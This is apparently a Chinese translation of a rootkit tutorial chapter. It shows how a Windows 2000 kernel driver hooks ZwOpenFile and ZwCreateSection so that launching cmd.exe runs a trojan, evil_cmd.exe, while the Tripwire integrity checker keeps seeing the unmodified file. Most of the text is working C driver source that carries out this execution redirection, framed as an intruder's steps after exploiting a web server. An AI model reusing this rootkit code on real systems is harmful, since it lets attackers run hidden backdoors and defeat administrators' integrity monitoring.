翻译:Rhett
//--------------------------------------------------------------
一旦入侵者拿到系统的root权限,所有监视和审核系统的效能都会大打折扣,甚至是在硬件层面的数据审核和加密校验措施也能被挫败。唯一例外的是被隔离存放的审核和校验系统所在的硬件设备。这个当然是废话。最邻近的系统会被隔离,管理员拿出硬盘在另外的系统上运行完整性检查程序。实际上,这是使用Tripwire安全程序的唯一方法。(Tripwire是流行的,但却有着致命缺陷的完整性检查程序)
执行体重定向和Tripwire的问题
这章我们演示的系统调用hook能在系统下隐藏一些事实。当你替换一个文件或者在原来的地方去执行一个木马文件时会发生什么。系统调用钩子能改变系统调用的逻辑并提供一些附加功能,后门,甚至改变请求的目标。拿Tripwire这样普遍的监视后门木马的程序来说。Tripwire程序读取系统每个文件的内容并根据内容数据生成一个加密hash。当文件内容被改变时会生成新的hash值。这就是说当下次管理员用Tripwire进行检查时会发现新的hash值。理论上这是个好方法,但实际上是根本没用的。
让我们来看看当黑客在目标系统上安装了内核级rootkit后会发生些什么。这个例子将说明黒客如何用木马文件替换原始版本的文件。黒客会挫败Tripwire以使安全管理员不能检测到后门的存在。演示说明用的系统是windows 2000。简单起见,假设入侵者发现了一个借助php脚本,在windows 2000 web 服务器远程执行代码的漏洞。入侵者的首要任务是利用此漏洞在系统上安装一个可执行文件。入侵者编译了一个window2000下的驱动,驱动hook掉了下面两个系统调用:
ZwOpenFile
ZwCreateSection
安装驱动来hook这两个系统调用,并且在启动的时候打开木马文件,拿到木马文件句柄。在我们的例子里,我们将把命令解释程序cmd.exe替换为我们的木马文件evil_cmd.exe。当一个应用程序或管理员自己加载cmd.exe的时候,我们的evil_cmd.exe将能把它替换掉。不幸的是,使用Tripwire并不能发觉到替换的动作。
在编译和测试完毕后,将驱动文件和evil_cmd.exe传送到目标系统上,然后把驱动用一般的方法加载到内存中。
实现重定向的驱动:
实现重定向的驱动用感染程序执行机制(不是程序本身)的方式使得Tripwire失效。驱动并不替换原来的文件。像Tripwire这样的程序将始终是看到正确的数据,因为确实是在打开正确,没修改的文件。我们对ZwOpenFile的hook检查每个打开的文件,并简单的跟踪文件句柄。当驱动发现有对目标文件的请求时,则更改要使用的文件句柄。驱动这时把原来的文件句柄用木马文件的句柄进行替换。这样只影响新进程的创建但并不会影响磁盘上的文件。Tripwire在这时候显得及其蠢笨。
NTSTATUS NewZwOpenFile(
PHANDLE phFile,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK pIoStatusBlock,
ULONG ShareMode,
ULONG OpenMode
)
{
int rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
DbgPrint("rootkit: NewZwOpenFile() from %s/n", aProcessName);
DumpObjectAttributes(ObjectAttributes);
rc=((ZWOPENFILE)(OldZwOpenFile)) (
phFile,
DesiredAccess,
ObjectAttributes,
pIoStatusBlock,
ShareMode,
OpenMode);
if(*phFile)
{
DbgPrint("rootkit: file handle is 0x%X/n", *phFile);
/* ___________________________________________________
. TESTING ONLY
. If name starts w/ cmd.exe lets redirect to a Trojan
. ___________________________________________________ */
if( !wcsncmp(
ObjectAttributes->ObjectName->Buffer,
L"//??//C://WINNT//SYSTEM32//cmd.exe",
29))
{
WatchProcessHandle(*phFile);
}
}
DbgPrint("rootkit: ZwOpenFile : rc = %x/n", rc);
return rc;
}
对ZwOpenFile的hook可以通过检查打开文件的文件名判断是不是我们感兴趣的文件。如果是的话,把文件句柄保存下来以后使用。我们自定义的hook函数只是简单的调用原始的ZwOpenFile函数,并使执行继续。
如果是试图用文件句柄创建进程的话,我们的代码将重定向到我们的木马文件。在进程创建之前,先要分配一个块的内存。一个块的内存类似于NT内核的内存映射文件。创建内存块时要用到文件句柄。建立起内存和文件的映射,然后可以调用 ZwCreateProcess 了。我们的驱动监视所有用目标文件句柄对内存块的创建。如果是目标文件被映射,这就是说将要被执行了。这正是我们替换文件句柄的时候。从而使得我们的木马文件被映射,而不是原来的文件。这样做效果非常好。我们对ZwCreateSection 进行如下的替换:
NTSTATUS NewZwCreateSection (
OUT PHANDLE phSection,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE hFile OPTIONAL
)
{
int rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
DbgPrint("rootkit: NewZwCreateSection() from %s/n", aProcessName);
DumpObjectAttributes(ObjectAttributes);
if(AllocationAttributes & SEC_FILE)
DbgPrint("AllocationAttributes & SEC_FILE/n");
if(AllocationAttributes & SEC_IMAGE)
DbgPrint("AllocationAttributes & SEC_IMAGE/n");
if(AllocationAttributes & SEC_RESERVE)
DbgPrint("AllocationAttributes & SEC_RESERVE/n");
if(AllocationAttributes & SEC_COMMIT)
DbgPrint("AllocationAttributes & SEC_COMMIT/n");
if(AllocationAttributes & SEC_NOCACHE)
DbgPrint("AllocationAttributes & SEC_NOCACHE/n");
DbgPrint("ZwCreateSection hFile == 0x%X/n", hFile);
#if 1
if(hFile)
{
HANDLE newFileH = CheckForRedirectedFile( hFile );
if(newFileH){
hFile = newFileH;
}
}
#endif
rc=((ZWCREATESECTION)(OldZwCreateSection)) (
phSection,
DesiredAccess,
ObjectAttributes,
MaximumSize,
SectionPageProtection,
AllocationAttributes,
hFile);
if(phSection)
{
DbgPrint("section handle 0x%X/n", *phSection);
}
DbgPrint("rootkit: ZwCreateSection : rc = %x/n", rc);
return rc;
}
木马文件可以用下面的代码映射到内存。以下是上面代码的支持函数。注,这里木马文件是放在C盘根目录下。
HANDLE gFileHandle = 0;
HANDLE gSectionHandle = 0;
HANDLE gRedirectSectionHandle = 0;
HANDLE gRedirectFileHandle = 0;
void WatchProcessHandle( HANDLE theFileH )
{
NTSTATUS rc;
HANDLE hProcessCreated, hProcessOpened, hFile, hSection;
OBJECT_ATTRIBUTES ObjectAttr;
UNICODE_STRING ProcessName;
UNICODE_STRING SectionName;
UNICODE_STRING FileName;
LARGE_INTEGER MaxSize;
ULONG SectionSize=8192;
IO_STATUS_BLOCK ioStatusBlock;
ULONG allocsize = 0;
DbgPrint("rootkit: Loading Trojan File Image/n");
/* first open file w/ NtCreateFile
. this works for a Win32 image.
. calc.exe is just for testing.
*/
RtlInitUnicodeString(&FileName, L"//??//C://evil_cmd.exe");
InitializeObjectAttributes( &ObjectAttr,
&FileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
rc = ZwCreateFile(
&hFile,
GENERIC_READ | GENERIC_EXECUTE,
&ObjectAttr,
&ioStatusBlock,
&allocsize,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
0,
NULL,
0);
if (rc!=STATUS_SUCCESS) {
DbgPrint("Unable to open file, rc=%x/n", rc);
return 0;
}
SetTrojanRedirectFile( hFile );
gFileHandle = theFileH;
}
HANDLE CheckForRedirectedFile( HANDLE hFile )
{
if(hFile == gFileHandle)
{
DbgPrint("rootkit: Found redirected filehandle - from %x to %x/n", hFile,
gRedirectFileHandle);
return gRedirectFileHandle;
}
return NULL;
}
void SetTrojanRedirectFile( HANDLE hFile )
{
gRedirectFileHandle = hFile;
}